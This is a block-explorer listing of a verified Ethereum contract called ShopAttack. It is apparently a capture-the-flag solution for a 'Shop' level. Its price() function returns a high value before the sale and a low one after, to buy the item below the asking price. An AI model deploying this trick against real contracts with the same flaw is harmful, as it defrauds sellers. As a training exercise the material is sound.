ShopAttack

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "Shop/ShopAttack.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Shop {
    function buy() external ;
    function isSold() external view returns (bool);
}

contract ShopAttack {
    
    Shop public  shop;

    constructor(address _shop)  {
        shop = Shop(_shop);
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint256) {
      if (!shop.isSold()){
        return 100;
      } else {
        return 1;
      }
    }

}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0x385e917c85f9262e315ddede71b469ca8edbb613|verified:true|block:23746797|tx:0x8f5282ba983e6ab056732bc12e0038f41252bf037c7f7b5bd923ffdce050630c|first_check:1762518925

Submitted on: 2025-11-07 13:35:26

Comments

Log in to comment.

No comments yet.